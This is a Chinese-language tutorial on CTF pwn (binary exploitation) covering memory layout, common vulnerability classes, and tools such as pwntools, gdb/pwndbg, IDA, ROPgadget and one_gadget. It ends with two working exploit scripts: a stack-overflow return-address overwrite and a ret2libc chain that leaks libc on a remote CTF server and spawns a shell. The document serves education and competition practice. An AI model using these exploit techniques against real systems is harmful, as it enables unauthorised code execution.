本文简单总结一下CTF的pwn方向的知识点,更多详细内容请参考:基础知识-CTF Wiki
附加博主学习的二进制基础知识视频:二进制程序基础原理入门

CTF Pwn 知识点详解与工具使用说明

一、Pwn 是什么

Pwn 在 CTF 比赛中是一个关键的题目类别,涉及对二进制程序漏洞的利用来获取系统控制权。这个术语源自黑客俚语,是 “own” 的衍生词,意味着攻破系统、获取权限。在 CTF 竞赛里,参赛者需通过发现软件漏洞,如缓冲区溢出、格式化字符串漏洞等,来控制程序执行流程,最终获取 shell 并拿到 flag。

二、基础概念详解

(一)二进制基础

  1. 可执行文件格式(ELF)

    • 在 Linux 系统中,可执行文件多为 ELF 格式。它包括 ELF 头、程序头、段等部分,用于描述程序的组织结构与运行方式。
    • 示例:一个简单的 ELF 可执行文件 demo.out,通过 readelf -h demo.out 可查看其 ELF 头信息,如类型、入口点等。
  2. 小端序(Little-Endian)

    • Linux 中数据以小端序存储,即低位字节存放在低地址处。例如,数值 0x12345678 在内存中存储顺序为 78 56 34 12
  3. 汇编格式

    • 常见的汇编格式有 Intel 和 AT&T 两种。AT&T 格式在 Linux 中较常用,如 movl $1, %eax 表示将立即数 1 移动到寄存器 EAX。

(二)计算机内存结构

  1. 栈(Stack)

    • 栈用于存储函数调用时的局部变量、参数、返回地址等。其增长方向是内存地址减小的方向。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      高地址

      ├─ 栈底(栈增长方向)
      │ │
      ├─ 局部变量
      │ │
      ├─ 函数参数
      │ │
      ├─ 返回地址
      │ │
      └─ 栈顶(低地址)
    • 当函数调用时,返回地址、基地址(ebp)等信息会被压入栈中。函数执行完毕后,通过弹出栈顶的返回地址恢复程序执行流程。
  2. 堆(Heap)

    • 堆用于动态内存分配,如通过 mallocfree 等函数操作。堆的增长方向是内存地址增大的方向。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      低地址

      ├─ 堆顶(堆增长方向)
      │ │
      ├─ 已分配内存块
      │ │
      └─ 高地址
  3. 数据段(Data Section)与 BSS 段(BSS Section)

    • 数据段存储已初始化的全局变量和静态变量,BSS 段存储未初始化的全局变量和静态变量。
  4. 文本段(Text Section)

    • 文本段存储程序的机器指令代码。

(三)程序执行流程

  1. 函数调用机制

    • 函数调用时,调用者的返回地址、基地址(ebp)等信息被压入栈中,然后跳转到被调用函数的地址执行。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      调用函数A

      ├─ 将返回地址压入栈
      │ │
      ├─ 保存基地址(ebp)到栈
      │ │
      └─ 跳转到函数A的入口地址

      函数A执行完毕:

      ├─ 恢复基地址(ebp)
      │ │
      └─ 弹出返回地址,跳转回原函数继续执行
  2. 返回地址的作用

    • 函数执行完毕后,通过弹出栈顶的返回地址来恢复程序的执行流程,使程序跳转回调用该函数的位置继续执行后续代码。

(四)常见漏洞类型详解

  1. 栈溢出

    • 当程序使用如 gets()scanf("%s")read() 等函数时,若未对输入数据的长度进行严格限制,可能导致输入的数据超出缓冲区大小,从而覆盖栈中的其他数据,包括返回地址,进而改变程序执行流程。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      正常情况:

      ├─ 栈内存布局
      │ │
      ├─ 缓冲区(大小为N
      │ │
      ├─ 返回地址
      │ │
      └─ 其他数据

      栈溢出情况:

      ├─ 输入数据超过缓冲区大小
      │ │
      ├─ 覆盖返回地址
      │ │
      └─ 改变程序执行流程
  2. 数组下标溢出

    • 若程序对数组的上界或下界未进行判断,攻击者可通过精心构造的输入,使程序访问或修改数组以外的内存区域,导致任意位置的读写,改变程序行为。
  3. 格式化字符串漏洞

    • 主要利用 printf 等函数的格式化字符串漏洞。当程序将用户输入直接作为格式化字符串时,攻击者可构造特定的格式化字符串,实现栈区内读写,泄露栈中信息或篡改数据。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      8
      漏洞代码示例:
      printf(user_input); // user_input 未经过滤直接作为格式化字符串

      攻击者输入:
      %x%x%x... // 构造格式化字符串,读取栈中内容

      结果:
      泄露栈中信息,如返回地址、函数指针等
  4. 堆利用

    • 包括 UAF(Use After Free)、劫持 __malloc_hook、修改 __IO_1_2_stdout 等。例如,UAF 漏洞是由于在释放一块堆内存后,未正确重置指针,导致程序可能再次使用已释放的内存,攻击者可利用此情况使程序执行任意代码。
    • 图例
      1
      2
      3
      4
      5
      6
      7
      8
      9
      UAF 漏洞示例:

      ├─ 分配堆块A
      │ │
      ├─ 释放堆块A,但未重置指针
      │ │
      ├─ 攻击者重新分配堆块A的位置,填充恶意数据
      │ │
      └─ 程序再次使用已释放的堆块A,执行恶意数据
  5. 整数溢出

    • 当整数运算超过其表示范围时,可能会导致意外行为。例如,在内存分配时,若计算分配大小的整数发生溢出,可能导致分配的内存大小远小于预期,后续写入数据时超出分配范围,覆盖其他内存区域,引发漏洞。
  6. 未初始化变量

    • 使用未初始化的变量可能导致不可预测的行为。攻击者可能通过控制程序环境或输入,使未初始化的变量取特定值,从而影响程序逻辑,引发安全问题。
  7. 双重释放(Double Free)

    • 对同一块内存进行两次 free 操作,可能导致堆管理器的混乱。攻击者可利用此漏洞,通过精心构造的内存操作,使程序在后续的内存分配和使用中执行恶意代码。
  8. 堆风水(Heap Feng Shui)

    • 通过精心控制堆的分配和释放,攻击者能够预测和控制堆块的布局。例如,在特定位置分配恶意构造的数据,当程序执行到相关操作时,触发漏洞,实现代码执行等恶意行为。

三、工具使用说明

(一)pwntools

  1. 安装

    • 在 Python3 环境下,通过 python3 -m pip install pwntools 命令安装。
  2. 功能

    • 用于快速构建 CTF 漏洞利用脚本,简化二进制漏洞的开发和利用过程。
  3. 使用示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *

    # 创建本地进程连接
    io = process('./vulnerable_program')

    # 创建远程连接
    # io = remote('host', port)

    # 接收数据
    data = io.recvline() # 接收一行数据
    data = io.recvuntil('prompt') # 接收直到遇到指定提示符的数据

    # 发送数据
    io.send('data') # 发送数据
    io.sendline('data') # 发送数据并在末尾添加换行符

    # 关闭连接
    io.close()
  4. 模块介绍

    • context:设置架构、字节序、日志级别等全局参数。例如,context.arch = 'amd64' 设置架构为 64 位,context.endian = 'little' 设置字节序为小端。
    • elf:解析 ELF 文件,获取程序的符号表、段信息等。例如,elf = ELF('./vulnerable_program') 加载 ELF 文件,elf.symbols 获取符号表。
    • rop:构建 ROP 链。例如,rop = ROP(elf) 创建 ROP 对象,rop.raw 添加原始 gadget 或地址,rop.dump() 查看构建的 ROP 链。
    • asm:汇编和反汇编。例如,asm(shellcraft.sh()) 生成 shellcode,disasm(shellcode) 反汇编 shellcode。
    • shellcraft:提供各种 shellcode 模板。例如,shellcraft.sh() 生成执行 /bin/sh 的 shellcode。
    • log:日志记录功能,方便调试。例如,log.info('message') 记录信息日志,log.debug('message') 记录调试日志。
    • cyclic:生成循环字符串,用于确定缓冲区溢出时的偏移量。例如,cyclic(100) 生成长度为 100 的循环字符串,cyclic_find('0x61616171') 查找特定字串的偏移量。
    • gdb:与 gdb 集成,方便调试。例如,gdb.attach(io) 附加 gdb 到进程,gdb.debug('./vulnerable_program') 启动 gdb 调试。
    • util.packing:提供数据打包和解包功能。例如,p32(address) 将 32 位整数打包为字节流,u32(data) 将字节流解包为 32 位整数。
    • tubes:封装了各种 I/O 操作,方便与目标程序交互。例如,processremotessh 等类用于创建本地进程、远程连接、SSH 连接等。
    • args:处理命令行参数,方便在脚本中根据参数选择不同的操作。例如,args['REMOTE'] 获取命令行参数 REMOTE 的值,判断是否为远程连接。

(二)checksec

  1. 功能

    • 查看可执行文件的程序架构信息和保护信息,如是否启用了 NX、RELRO、STACK CANARY 等保护机制。
  2. 使用示例

    1
    checksec ./vulnerable_program
  3. 输出说明

    • Arch:程序架构信息,如 amd64 表示 64 位程序。
    • RELROFull RELRO 表示 GOT 表完全只读,Partial RELRO 表示部分只读,No RELRO 表示未启用 RELRO 保护。
    • StackCanary found 表示启用了栈保护机制。
    • NXNX enabled 表示栈不可执行,可防止代码注入攻击。
    • PIEPIE enabled 表示启用了地址空间布局随机化(ASLR),No PIE 表示未启用。
    • RPATH:显示运行时库路径。
    • RUNPATH:显示运行时库路径。
    • Symbols:显示是否包含符号表。
    • Fortify:显示是否启用了 Fortify 保护。
    • fortified:显示已启用 Fortify 保护的函数数量。
    • fortifyable:显示可启用 Fortify 保护的函数总数。

(三)gdb+pwndbg

  1. 安装

    • pwndbg 是 gdb 的插件,可通过 git clone https://github.com/pwndbg/pwndbg 命令下载并安装。
  2. 功能

    • 用于调试二进制程序,支持查看寄存器、内存、栈帧等信息,以及设置断点、单步执行等操作。
  3. 常用命令

    • b main:在 main 函数处设置断点。
    • r:启动程序并传递输入参数。
    • continuec:继续程序执行,直到下一个断点。
    • nextn:单步执行程序,跳过函数调用。
    • steps:单步执行程序,进入函数调用。
    • x/x $rsp:查看栈顶内容。
    • info registers:查看寄存器信息。
    • pwndbg:显示 pwndbg 的调试界面,包含栈、寄存器、内存等信息。
    • breakb:设置断点。例如,b *0x0000000000401186 在指定地址设置断点。
    • deleted:删除断点。例如,d 1 删除编号为 1 的断点。
    • finish:执行直到当前函数返回。
    • untilu:执行直到指定地址。
    • printp:打印变量或表达式的值。例如,p $rax 打印寄存器 rax 的值。
    • set:设置变量或寄存器的值。例如,set $rax = 0x1234 将寄存器 rax 的值设置为 0x1234
    • disassembledisass:反汇编代码。例如,disass main 反汇编 main 函数。
    • info breakpointsinfo b:查看所有断点信息。
    • detach:从进程分离调试器。
    • quitq:退出 gdb。
  4. 结合 pwntools 使用

    • 在调试过程中,可以结合 pwntools 的 context 模块设置架构和字节序,方便分析和构造 payload。例如,在 pwntools 脚本中,通过 context.arch = 'amd64' 设置架构,然后在 gdb 中调试时,可以更方便地查看相应架构下的寄存器和内存布局。

(四)IDA Pro

  1. 功能

    • 用于逆向工程和二进制代码分析,将汇编代码转换为 C 语言代码,便于理解程序逻辑。
  2. 常用快捷键

    • 空格键:切换文本视图 / 图表视图。
    • Shift + F12:列出汇编语言代码中的字符串值。
    • F5:将汇编语言代码转换为 C 语言代码。
    • Esc:返回上一层代码。
    • G:跳转至指定地址。
  3. 使用技巧

    • 分析函数:在 IDA 中,函数是程序的基本组成单元。通过查看函数的调用关系、参数传递、局部变量等信息,可以理解程序的功能和逻辑。例如,通过查看 main 函数的调用关系,可以了解程序的入口点和其他关键函数的调用顺序。
    • 查找关键代码:在分析漏洞时,需要重点关注可能导致漏洞的关键代码,如缓冲区拷贝函数(strcpysprintf 等)、格式化字符串函数(printfsprintf 等)、堆操作函数(mallocfree 等)。通过搜索这些函数的调用位置,可以快速定位到可能存在问题的代码段。
    • 查看数据结构:IDA 可以解析程序中的数据结构,如结构体、数组等。通过查看数据结构的定义和使用情况,可以更好地理解程序的数据组织和操作方式,有助于分析漏洞的成因和利用方式。
    • 交叉引用:IDA 提供了强大的交叉引用功能,可以查看某个函数、变量或地址在程序中的所有引用位置。这对于理解程序的整体结构和逻辑非常有帮助,也能辅助发现潜在的漏洞利用路径。
    • 注释和标记:在分析过程中,可以为关键代码、函数、变量等添加注释和标记,方便后续的回顾和整理。这有助于提高分析效率,特别是在处理复杂的二进制程序时。

(五)ROPgadget

  1. 功能

    • 检索二进制文件中存在的 ROP 操作链,用于构建恶意执行流。
  2. 使用示例

    1
    ROPgadget --binary ./vulnerable_program --only "pop;ret;" | grep "word"
  3. 输出说明

    • 显示符合条件的 gadget 地址和指令序列,帮助构造 ROP 链。例如,输出 0x0000000000401234 : pop rdi; ret 表示在地址 0x0000000000401234 处存在一个 pop rdi; ret 的 gadget,可以用于在 ROP 链中设置 rdi 寄存器的值。
  4. 常见 gadget 类型

    • 寄存器弹出(pop):如 pop rax; ret,用于将栈顶值弹出到指定寄存器。
    • 内存操作:如 mov [rax], rdi; ret,用于将寄存器值写入内存。
    • 算术运算:如 add rax, rbx; ret,用于执行算术运算。
    • 控制流转移:如 jmp rax,用于跳转到指定地址执行。
    • 函数调用:如 call rax,用于调用指定地址的函数。
  5. 构造 ROP 链

    • 根据漏洞利用的需求,选择合适的 gadget 组合,形成完整的 ROP 链。例如,为了调用 system("/bin/sh"),需要找到 pop rdi; retsystem 函数地址以及 "/bin/sh" 字符串地址等 gadget,并按照正确的顺序排列,形成 ROP 链。

(六)one_gadget

  1. 功能

    • 自动搜索并生成利用 libc 中特定 gadget 来构造 payload,简化提权过程。
  2. 使用示例

    1
    one_gadget ./libc.so
  3. 输出说明

    • 输出可利用的 gadget 地址,直接用于覆盖返回地址实现提权。例如,输出 0x00000000004f322 表示在 libc.so 文件中存在一个可利用的 gadget,将其地址覆盖到返回地址处,即可实现提权操作。
  4. 使用场景

    • 当程序启用了 NX 保护,无法直接注入 shellcode 时,可以利用 one_gadget 找到 libc 中的 gadget 地址,通过 ROP 链调用这些 gadget 来实现提权。

四、解题步骤示例

(一)栈溢出

  1. 使用 checksec 查看程序保护机制

    1
    checksec ./vulnerable_program

    根据输出结果判断是否启用了 NX、RELRO 等保护机制,确定漏洞利用的可行性。例如,如果 NXNX enabled,则需要使用 ROP 链等方式绕过 NX 保护;如果 RELROFull RELRO,则 GOT 表完全只读,无法直接覆盖 GOT 表中的函数指针。

  2. 使用 IDA Pro 或 gdb+pwndbg 分析程序逻辑

    • 在 IDA Pro 中打开程序,查看函数调用关系和关键代码逻辑。例如,找到程序中存在缓冲区溢出的函数,确定缓冲区大小、返回地址位置等关键信息。
    • 使用 gdb+pwndbg 设置断点,单步调试,观察寄存器和内存变化。例如,在漏洞函数处设置断点,运行程序并输入测试数据,查看栈的布局、返回地址的变化等,进一步确认漏洞的细节。
  3. 编写漏洞利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *

    context.arch = 'amd64' # 设置架构
    context.endian = 'little' # 设置字节序

    # 创建本地进程连接
    io = process('./vulnerable_program')

    # 构造 payload
    buffer_size = 0x20
    return_address = 0x0000000000401186 # 目标返回地址
    payload = b'a' * buffer_size + p64(return_address)

    # 发送 payload
    io.sendline(payload)

    # 交互
    io.interactive()

    该脚本通过 pwntools 发送构造好的 payload,覆盖返回地址,使程序跳转到指定地址执行,从而实现漏洞利用。在实际解题中,可能需要根据具体的漏洞类型和保护机制,选择不同的利用方式,如构造 ROP 链、注入 shellcode 等。

(二)ret2libc

  1. 使用 checksec 查看程序保护机制

    1
    checksec ./vulnerable_program

    确认程序是否启用了 NX 保护,若启用了 NX 保护,则需要使用 ret2libc 技巧。

  2. 在 IDA Pro 中分析程序

    • 找到程序中存在溢出的函数,例如 encrypt() 函数中的 gets() 函数没有限制读入的长度,可以造成溢出。
    • 确定 system() 函数和 /bin/sh 字符串在 libc 中的地址。
  3. 使用 ROPgadget 查找 gadget

    1
    ROPgadget --binary ./vulnerable_program --only "pop;ret;" | grep "word"

    找到 pop rdi; ret 等 gadget 的地址。

  4. 编写漏洞利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    from LibcSearcher import *

    r = remote('node3.buuoj.cn', 26887)
    elf = ELF('./vulnerable_program')

    main = 0x400b28
    pop_rdi = 0x400c83
    ret = 0x4006b9

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']

    r.sendlineafter('choice!\n', '1')
    payload = '\0' + 'a' * (0x50 - 1 + 8)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)

    r.sendlineafter('encrypted\n', payload)
    r.recvline()
    r.recvline()

    puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, '\0'))
    print(hex(puts_addr))

    libc = LibcSearcher('puts', puts_addr)
    offset = puts_addr - libc.dump('puts')
    binsh = offset + libc.dump('str_bin_sh')
    system = offset + libc.dump('system')

    r.sendlineafter('choice!\n', '1')

    payload = '\0' + 'a' * (0x50 - 1 + 8)
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(system)

    r.sendlineafter('encrypted\n', payload)

    r.interactive()

    该脚本通过泄露 puts 函数的地址,计算出 libc 的基地址,然后构造 ROP 链调用 system("/bin/sh"),实现提权操作。